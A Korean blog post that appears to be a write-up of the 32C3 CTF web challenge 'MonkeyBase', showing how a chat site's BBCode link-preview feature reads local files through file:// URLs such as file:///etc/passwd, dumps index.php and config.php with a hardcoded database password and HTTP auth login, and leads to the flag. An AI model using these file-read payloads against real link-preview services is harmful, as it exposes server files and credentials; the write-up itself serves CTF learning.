티스토리 뷰

- MonkeyBase


http://136.243.194.35/


문제에서 주어진 Invite key 값을 이용해서 등록


등록한 계정으로 로그인하면 아래 그림과 같이 온라인 채팅 사이트에 접속할 수 있다.


ONLINE USERS에 있는 계정을 선택하면 URL에 ?id=1 파라미터가 추가되면서 채팅을 할 수 있다.


Hello 입력 결과


톱니바퀴 모양 버튼을 눌러보면 Settings, Help, Logout 기능을 볼 수 있다.

다른 기능을 알아보기 위해서 Help를 선택


HELP를 누르면 BBCODES 라는 것에 대한 설명이 나와있다.


BBCODES 중에서 [URL]URL[/URL]을 이용해서 [URL]http://rnd.do9.kr/[/URL]을 테스트로 입력하였다.


[URL]http://rnd.do9.kr/[/URL]을 입력하면 HOST, TITLE, DESC에 대해 자동으로 입력이 되고 링크도 생성이 된다.


HOST에 링크를 눌러보면 /out/5bc50cf3cb54b86fbfdefb0e599ddde8로 이동하면서 해당 URL에 내용을 미리보기 형태로 볼 수 있다.


하단에 Continue to original website를 누르면 입력한 URL로 이동된다.


동일한 방법으로 http:// 가 아니라 file://을 이용해서 내부 자원에 대해 접근이 가능한지 [URL]file:///etc/passwd[/URL]을 입력하여 테스트하였다.


[URL]file:///etc/passwd[/URL]를 입력해보면 HOST, TITLE, DESC에 대해 아무런 값도 입력이 되지 않은 상태로 출력이 된다.


소스 코드를 보면 값은 없지만 ./out/28988ba5572215ac5c087db8e6855872 링크가 생성되어 있는 것을 볼 수 있다.


해당 링크로 이동해보면 /etc/passwd 의 내용을 볼 수가 있다.


동일한 방법으로 [URL]file:///var/www/html/index.php[/URL]을 입력해서 해당 사이트의 index.php 코드를 확인하였다.


동일하게 코드를 확인해서 /out/20e818b10a7a619d603fcb6a2f3b9d31 링크를 확인해보면 소스 코드의 일부가 보인다.


일부 소스 코드가 아니라 전체 코드를 확인하기 위해서 다시 소스 보기를 해보면 ../iframe/20e818b10a7a619d603fcb6a2f3b9d31 iframe으로 되어 있는 부분을 볼 수 있다.


iframe 주소로 이동해보면 앞에서 봤던 일부 소스 코드 밖에 보이지 않지만 iframe/20e818b10a7a619d603fcb6a2f3b9d31의 소스 보기를 해보면 index.php에 대한 전체 코드를 볼 수 있다.


index.php의 전체 코드


index.php의 소스를 보면 중간에 include 'config.php' 부분을 확인할 수 있고 동일한 방법으로 config.php 코드도 확인한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<html>
<head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" />
    <meta name="description" content="" />
    <meta name="author" content="" />
    <!--[if IE]>
        <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <![endif]-->
    <title>MonkeyBASE</title>
    <link href="http://136.243.194.35/assets/css/bootstrap.css" rel="stylesheet" />
    <link href="http://136.243.194.35/assets/css/font-awesome.css" rel="stylesheet" />
    <link href="http://136.243.194.35/assets/css/style.css" rel="stylesheet" />
</head>
<body>
 
    <div class="container">
        <div class="row pad-top pad-bottom">
            <?php
    error_reporting(E_ALL);
    session_start();
 
    include 'config.php';
    
    $page=@$_GET['p'];
    $pagename=(in_array($page$pages))?@$_GET['p']:"main";
 
    include 'classes/USER';
    include 'classes/DB';
 
    $ClassUser=new USER();
    if(!$ClassUser->isLogged()) redirect("./login");
    $ClassUser->updateActive();
    
    $thisuser=$ClassUser->getUser() ;
 
    include 'controller/'.$pagename;
 
?>
<html>
<head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" />
    <meta name="description" content="" />
    <meta name="author" content="" />
    <!--[if IE]>
        <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <![endif]-->
    <title>MonkeyBASE</title>
    <link href="<?=$confvars['url'];?>assets/css/bootstrap.css" rel="stylesheet" />
    <link href="<?=$confvars['url'];?>assets/css/font-awesome.css" rel="stylesheet" />
    <link href="<?=$confvars['url'];?>assets/css/style.css" rel="stylesheet" />
</head>
<body>
 
    <div class="container">
        <div class="row pad-top pad-bottom">
            <?php include 'pages/'.$pagename;?>
        </div>
    </div>
 
    <script src="<?=$confvars['url'];?>assets/js/jquery-1.11.1.js"></script>
    <script src="<?=$confvars['url'];?>assets/js/bootstrap.js"></script>
    <script src='<?=$confvars['url'];?>assets/js/<?=$pagename;?>.js'></script>
</body>
 
</html>        </div>
    </div>
 
    <script src="http://136.243.194.35/assets/js/jquery-1.11.1.js"></script>
    <script src="http://136.243.194.35/assets/js/bootstrap.js"></script>
    <script src='http://136.243.194.35/assets/js/iframe.js'></script>
</body>
 
</html>
cs


[URL]file:///var/www/html/config.php[/URL] 입력


config.php의 전체 코드


config.php의 소스를 보면 중간에 // Area51 is on /SuperMonkeysArea51/ SuperMonkey:w34r3th3sup3r0ut3rsp4c3cr34tur35 라고 되어있는 부분이 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
<html>
<head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" />
    <meta name="description" content="" />
    <meta name="author" content="" />
    <!--[if IE]>
        <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <![endif]-->
    <title>MonkeyBASE</title>
    <link href="http://136.243.194.35/assets/css/bootstrap.css" rel="stylesheet" />
    <link href="http://136.243.194.35/assets/css/font-awesome.css" rel="stylesheet" />
    <link href="http://136.243.194.35/assets/css/style.css" rel="stylesheet" />
</head>
<body>
 
    <div class="container">
        <div class="row pad-top pad-bottom">
            <?php
    $con=mysqli_connect("localhost","monkeybase","SlkjDZOnsxKBZU","monkeybase");
    if (mysqli_connect_errno())    {
        echo "Failed to connect to MySQL: " . mysqli_connect_error();
    }
    mysqli_set_charset($con,"utf8");
 
    // Area51 is on /SuperMonkeysArea51/ SuperMonkey:w34r3th3sup3r0ut3rsp4c3cr34tur35
 
    $pages=array("main","settings","help","logout","out","iframe");
    $confvars=array(
        "invite_code"     =>"d991065ab84307e7904e2b9b515a2d69",
        "url"             =>"http://136.243.194.35/",
        "stream_context" =>    array (
                                'http' => array (
                                    'follow_location' => FALSE 
                                )
                            )
    );
 
    if(!function_exists('checkinput')){
        function checkinput($input){
            global $con;
            return @mysqli_real_escape_string($con,$input);
        }
    }
    if(!function_exists('checkoutput')){
        function checkoutput($input){
            return @htmlspecialchars($input);
        }
    }
    if(!function_exists('redirect')){
        function redirect($url){
            header("location: ".$url);
            die();
        }
    }
    if(!function_exists('strToHex')){
        function strToHex($string){
            $hex = '';
            for ($i=0$i<strlen($string); $i++){
                $ord = ord($string[$i]);
                $hexCode = dechex($ord);
                $hex .= substr('0'.$hexCode-2);
            }
            return strToUpper($hex);
        }
    }
    if(!function_exists('hexToStr')){
        function hexToStr($hex){
            $string='';
            for ($i=0$i < strlen($hex)-1$i+=2){
                $string .= chr(hexdec($hex[$i].$hex[$i+1]));
            }
            return $string;
        }
    }
 
?>        </div>
    </div>
 
    <script src="http://136.243.194.35/assets/js/jquery-1.11.1.js"></script>
    <script src="http://136.243.194.35/assets/js/bootstrap.js"></script>
    <script src='http://136.243.194.35/assets/js/iframe.js'></script>
</body>
 
</html>
cs


해당 경로로 이동해보면 인증을 물어본다.


사용자 이름과 비밀번호는 소스 코드에서 확인한 값을 입력하고 로그인을 시도하였다.


인증을 통과하고 나면 해당 디렉터리에 접근할 수 있다.

그리고, 디렉터리 인덱싱이 가능하여 d322289ce0ddbf435603455bf0ecf1b36b5cc79a_note.php 파일을 확인할 수 있다.


해당 파일에 직접 접근해보면 출력되는 값이 없는 것을 볼 수 있다.


해당 파일의 내용을 확인하기 위해서 동일하게 시도한다.

[URL]file:///var/www/html/SuperMonkeysArea51/d322289ce0ddbf435603455bf0ecf1b36b5cc79a_note.php[/URL]


중간에 보면 주석으로 처리되어 있는 flag 값을 확인할 수 있다.

// SECRET 32c3_W3_4re_Ju57_An_Adv4nc3d_Br33d_0f_Monkeys_0n_A_M1n0r_Plan3t_0f_A_V3ry_Av3r4ge_St4r



댓글
«   2024/04   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30
링크
공지사항
Total
Today
Yesterday